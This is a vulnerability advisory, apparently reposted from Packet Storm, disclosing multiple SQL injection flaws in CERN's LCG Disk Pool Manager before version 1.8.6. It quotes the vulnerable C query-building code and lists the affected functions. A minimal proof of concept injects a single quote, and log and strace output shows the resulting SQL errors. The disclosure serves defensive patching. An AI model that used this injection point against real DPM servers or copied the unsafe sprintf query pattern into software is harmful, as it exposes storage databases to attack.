Lucene search
K

LCG Disk Pool Manager SQL Injection

🗓️ 10 Mar 2013 00:00:00Reported by Adam ZabrockiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Multiple SQL Injection vulnerabilities in LCG Disk Pool Manager (DPM) developed as part of the LCG project at CERN. It allows for scalability, SRM interface, and better performance but is susceptible to SQL Injection

Code
`Name: Multiple SQL Injection vulnerabilities in  
Disk Pool Manager (DPM)  
Author: Adam Zabrocki (<[email protected]>)  
Date: November 27, 2009 (Yes, it's very old bug ;P)  
  
  
Description:  
  
LCG Disk Pool Manager (DPM) has been developed as part of the  
LCG  
project to provide a light-weight implementation of an SRM compliant  
Storage Element (SE). Since gLite 3.0 it is a standard gLite component,  
distributed and maintained as part of the gLite release. It has been  
developed at European Organization for Nuclear Research (CERN).  
  
DPM is a disk only SE, instead of a disk + MSS implementation like  
dCache or Castor. It may act as a replacement for the deprecated classic  
SE with the following advantages :  
  
- SRM interface (both v1.1 and v2.2)  
- Better scalability : DPM is allow to manage 100+ TB distributing the  
load over several servers  
- High performances  
- Light-weight management  
  
  
DPM is commonly used in most of the GRID projects including CERN WLCG,  
EGEE, ..., etc.  
  
  
Details:  
  
A multiple SQL Injection vulnerability has been found in Disk  
Pool  
Manager (DPM). Please read following details:  
  
"./srmv2.2/srmv2_xferreq.c"  
int  
ns1__srmGetRequestSummary (struct soap *soap,  
struct ns1__srmGetRequestSummaryRequest *req,  
struct ns1__srmGetRequestSummaryResponse_ *rep)  
{  
...  
char *r_token;  
...  
  
...  
...  
for (i = 0; i < nbtokens; i++) {  
...  
r_token = req->arrayOfRequestTokens->stringArray[i];  
if (strlen (r_token) > CA_MAXDPMTOKENLEN) {  
reptokenp->status->statusCode =   
SRM_USCOREINVALID_USCOREREQUEST;  
reptokenp->status->explanation =   
soap_strdup (soap, "Invalid request token");  
nb_errors++;  
continue;  
}  
if (dpm_getonereqsummary (thip, r_token, &r_type,  
&r_status,  
&nbreqfiles, &nb_queued, &nb_progress, &nb_failed) <  
0) {  
...  
...  
}  
...  
...  
}  
...  
...  
}  
  
This function is responsible fo reading and parsing requests. If length  
of "r_token"  
variable is not greather than CA_MAXDPMTOKENLEN function  
dpm_getonereqsummary() is called:  
  
"dpm/dpm_procsubr.c"  
dpm_getonereqsummary (thip, r_token, r_type, r_status, nbreqfiles,  
nb_queued, nb_progress, nb_failed)  
struct dpm_srv_thread_info *thip;  
char *r_token;  
char *r_type;  
int *r_status;  
int *nbreqfiles;  
int *nb_queued;  
int *nb_progress;  
int *nb_failed;  
{  
...  
...  
  
if (dpm_get_pending_req_by_token (&thip->dbfd, r_token,  
&dpm_req, 0, NULL) < 0 &&  
dpm_get_req_by_token (&thip->dbfd, r_token, &dpm_req, 0,  
NULL) < 0)  
return (-1);  
  
...  
...  
}  
  
... and:  
  
"dpm/dpm_mysql_ifce.c"  
dpm_get_pending_req_by_token(dbfd, r_token, dpm_req, lock, rec_addr)  
struct dpm_dbfd *dbfd;  
char *r_token;  
struct dpm_req *dpm_req;  
int lock;  
dpm_dbrec_addr *rec_addr;  
{  
char func[29];  
static char query[] =  
"SELECT \  
R_ORDINAL, R_TOKEN, R_UID, \  
R_GID, CLIENT_DN, CLIENTHOST, \  
R_TYPE, U_TOKEN, \  
FLAGS, RETRYTIME, NBREQFILES, \  
CTIME, STIME, ETIME, \  
STATUS, ERRSTRING, GROUPS \  
FROM dpm_pending_req \  
WHERE r_token = '%s'";  
static char query4upd[] =  
"SELECT ROWID, \  
R_ORDINAL, R_TOKEN, R_UID, \  
R_GID, CLIENT_DN, CLIENTHOST, \  
R_TYPE, U_TOKEN, \  
FLAGS, RETRYTIME, NBREQFILES, \  
CTIME, STIME, ETIME, \  
STATUS, ERRSTRING, GROUPS \  
FROM dpm_pending_req \  
WHERE r_token = '%s' \  
FOR UPDATE";  
MYSQL_RES *res;  
MYSQL_ROW row;  
char sql_stmt[1024];  
MYSQL_RES *res;  
MYSQL_ROW row;  
char sql_stmt[1024];  
  
strcpy (func, "dpm_get_pending_req_by_token");  
sprintf (sql_stmt, lock ? query4upd : query, r_token);  
if (dpm_exec_query (func, dbfd, sql_stmt, &res))  
return (-1);  
...  
...  
}  
  
This function creates a query to the MySQL Database - DPM supports three  
different databases: MySQL, PostgreSQL and Oracle. In this advisory  
I'm focused on MySQL database. This vulnerability may be in all  
supported databases. I haven't analyzed all the code.  
  
Variable 'r_token' isn't verified at all so SQL Injection attack is  
possible. Anyone with a certificate from a recognised CA can access  
the SRM interface so it is a serious vulnerability.  
  
SQL Injection exists not only in dpm_get_pending_req_by_token()  
function.  
Please read following list of functions which don't check inputs too:  
  
Function dpm_get_cpr_by_fullid() doesn't check 'r_token'  
Function dpm_get_cpr_by_surl() doesn't check 'r_token', 'surl'  
Function dpm_get_cpr_by_surls() doesn't check 'r_token', 'to_surl'  
Function dpm_get_gfr_by_fullid() doesn't check 'r_token'  
Function dpm_get_gfr_by_surl() doesn't check 'r_token'  
Function dpm_get_pending_req_by_token() doesn't check 'r_token'  
Function dpm_get_pending_reqs_by_u_desc() doesn't check 'u_token'  
Function dpm_get_pfr_by_fullid() doesn't check 'r_token'  
Function dpm_get_pfr_by_surl() doesn't check 'r_token'  
Function dpm_get_pool_entry() doesn't check 'poolname' variable but  
admin required so it isn't important.  
Function dpm_get_req_by_token() doesn't check 'r_token'  
Function dpm_get_reqs_by_u_desc() doesn't check 'u_token'  
Function dpm_get_spcmd_by_token() doesn't check 's_token'  
Function dpm_get_spcmd_by_u_desc() doesn't check 'u_token'  
Function dpm_insert_cpr_entry() doesn't check variable 's_token',   
'r_token'.  
Function dpm_insert_fs_entry() doesn't check 'poolname' variable but  
admin required so it isn't important.  
Function dpm_insert_gfr_entry() doesn't check variable 's_token',  
'r_token'.  
Function dpm_insert_pending_entry() doesn't check variable 'u_token',  
'r_token'.  
Function dpm_insert_pfr_entry() doesn't check variable 's_token',  
'r_token'.  
Function dpm_insert_pool_entry() doesn't check 'poolname' variable but  
admin required so it isn't important.  
Function dpm_insert_spcmd_entry() doesn't check variable 's_token',  
'u_token' and (not important)  
'poolname' - admin required.  
Functino dpm_insert_xferreq_entry() doesn't check variable 'u_token',  
'r_token'.  
Function dpm_list_cpr_entry() doesn't check 'r_token'  
Functino dpm_list_fs_entry() doesn't check 'poolname' variable but  
admin required so it isn't important.  
Function dpm_list_gfr_entry() doesn't check 'r_token'  
Function dpm_list_pfr_entry() doesn't check 'r_token'  
Function dpm_update_cpr_entry() doesn't check 's_token'  
Function dpm_update_gfr_entry() doesn't check 's_token'  
Function dpm_update_pfr_entry() doesn't check 's_token'  
Function dpm_update_spcmd_entry() doesn't check 'poolname' variable but  
admin required so it isn't important.  
  
  
  
Proof of concept  
  
$ ./srm2_testGetRequestStatus srm://vmgdda0013.cern.ch:8446/ \'  
request status SRM_FAILURE  
request state 1  
explanation: Failed for all tokens  
request summaryArray 1  
======= Begin Request ========  
Request token: '  
state[0]: 14 SRM_INTERNAL_ERROR  
$   
  
  
Please read following dump of SRM log file:  
  
07/23 18:01:50.330 9720,0 dpm_get_pending_req_by_token: mysql_query  
error: You have an error in your SQL syntax; check the manual that  
corresponds to your MySQL server version for the right syntax to use  
near ''''' at line 1  
07/23 18:01:50.330 9720,0 dpm_get_req_by_token: mysql_query error: You  
have an error in your SQL syntax; check the manual that corresponds to  
your MySQL server version for the right syntax to use near ''''' at line  
1  
07/23 18:01:50.330 9720,0 GetRequestSummary: returns 0,  
statusCode=SRM_FAILURE  
  
  
Here is strace output from the SRMv2.2 process:  
  
poll([{fd=7, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)  
write(7, "\335\0\0\0\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID,  
CLIENT_DN, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME,  
NBREQFILES, \t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS  
\t\tFROM dpm_pending_req \t\tWHERE r_token = '''", 225) = 225  
read(7, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;  
check the manual that corresponds to your MySQL server version for the  
right syntax to use near ''''' at line 1", 16384) = 162  
gettimeofday({1311434508, 295920}, NULL) = 0  
open("/var/log/srmv2.2/log", O_WRONLY|O_CREAT|O_APPEND, 0664) = 8  
write(8, "07/23 17:21:48.295 9720,0 dpm_get_pending_req_by_token:  
mysql_query error: You have an error in your SQL syntax; check the  
manual that corresponds to your MySQL server version for the right  
syntax to use near ''''' at line 1\n", 226) = 226  
close(8) = 0  
poll([{fd=7, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)  
write(7, "\325\0\0\0\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID,  
CLIENT_DN, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME,  
NBREQFILES, \t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS  
\t\tFROM dpm_req \t\tWHERE r_token = '''", 217) = 217  
read(7, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;  
check the manual that corresponds to your MySQL server version for the  
right syntax to use near ''''' at line 1", 16384) = 162  
gettimeofday({1311434508, 296597}, NULL) = 0  
open("/var/log/srmv2.2/log", O_WRONLY|O_CREAT|O_APPEND, 0664) = 8  
write(8, "07/23 17:21:48.296 9720,0 dpm_get_req_by_token: mysql_query  
error: You have an error in your SQL syntax; check the manual that  
corresponds to your MySQL server version for the right syntax to use  
nea r ''''' at line 1\n", 218) = 218  
close(8) = 0  
gettimeofday({1311434508, 296942}, NULL) = 0  
open("/var/log/srmv2.2/log", O_WRONLY|O_CREAT|O_APPEND, 0664) = 8  
write(8, "07/23 17:21:48.296 9720,0 GetRequestSummary: returns 0,  
statusCode=SRM_FAILURE\n", 80) = 80  
close(8) = 0  
  
  
And here is strace from the MySQL process:  
  
read(31, "\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID, CLIENT_DN  
, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME, NBREQFILES,  
\t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS \t\tFROM   
dpm_pending_req \t\tWHERE r_token = '''", 221) = 221  
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM TERM  
TSTP], 8) = 0  
rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP], NULL, 8)  
= 0  
fcntl(31, F_SETFL, O_RDWR|O_NONBLOCK) = 0  
time([1311436910]) = 1311436910  
sched_setscheduler(15280, SCHED_OTHER, { 6 }) = -1 EINVAL (Invalid  
argument)  
sched_setscheduler(15280, SCHED_OTHER, { 8 }) = -1 EINVAL (Invalid  
argument)  
write(31, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;  
check the manual that corresponds to your MySQL server version for the  
right syntax to use near ''''' at line 1", 162) = 162  
time([1311436910]) = 1311436910  
read(31, 0x1f7ae9b0, 4) = -1 EAGAIN (Resource  
temporarily unavailable)  
time(NULL) = 1311436910  
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM TERM  
TSTP], 8) = 0  
rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP], NULL, 8)  
= 0  
fcntl(31, F_SETFL, O_RDWR) = 0  
read(31, "\325\0\0\0", 4) = 4  
read(31, "\3SELECT \t\t R_ORDINAL, R_TOKEN, R_UID, \t\t R_GID, CLIENT_DN  
, CLIENTHOST, \t\t R_TYPE, U_TOKEN, \t\t FLAGS, RETRYTIME, NBREQFILES,   
\t\t CTIME, STIME, ETIME, \t\t STATUS, ERRSTRING, GROUPS \t\tFROM   
dpm_req \t\tWHERE r_token = '''", 213) = 213  
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM TERM  
TSTP], 8) = 0  
rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP], NULL, 8)  
= 0  
fcntl(31, F_SETFL, O_RDWR|O_NONBLOCK) = 0  
time([1311436910]) = 1311436910  
sched_setscheduler(15280, SCHED_OTHER, { 6 }) = -1 EINVAL (Invalid  
argument)  
sched_setscheduler(15280, SCHED_OTHER, { 8 }) = -1 EINVAL (Invalid  
argument)  
write(31, "\236\0\0\1\377(\4#42000You have an error in your SQL syntax;  
check the manual that corresponds to your MySQL server version for the  
right syntax to use near ''''' at line 1", 162) = 162  
time([1311436910]) = 1311436910  
read(31, 0x1f7ae9b0, 4) = -1 EAGAIN (Resource  
temporarily unavailable)  
  
  
  
  
Affected Software:  
  
All versions of Disk Pool Manager (DPM) below 1.8.6 version are  
affected.  
1.8.6 was released 19th of February 2013.  
  
  
Greets  
  
+) David Smith - for testing infrastructures and other helps not only  
at this topic.  
  
References  
  
1) https://wiki.egi.eu/wiki/SVG:Advisory-SVG-2012-2683  
2) http://site.pi3.com.pl/adv/disk_pool_manager_1.txt  
3) http://blog.pi3.com.pl/?p=402  
  
  
Timeline  
  
2009-11-27 - Found vulnerability.  
2011-08-03 - Vulnerability officialy reported.  
2013-02-19 - Updated packages available in the EGI UMD-1 and EGI UMD-2.  
2013-03-05 - Public disclosure on vendor's wiki, after allowing sites to  
upgrade  
(https://wiki.egi.eu/wiki/SVG:Advisory-SVG-2012-2683)  
2013-03-10 - Release of this advisory.  
  
  
  
Best regards,  
Adam Zabrocki  
  
--  
http://pi3.com.pl  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation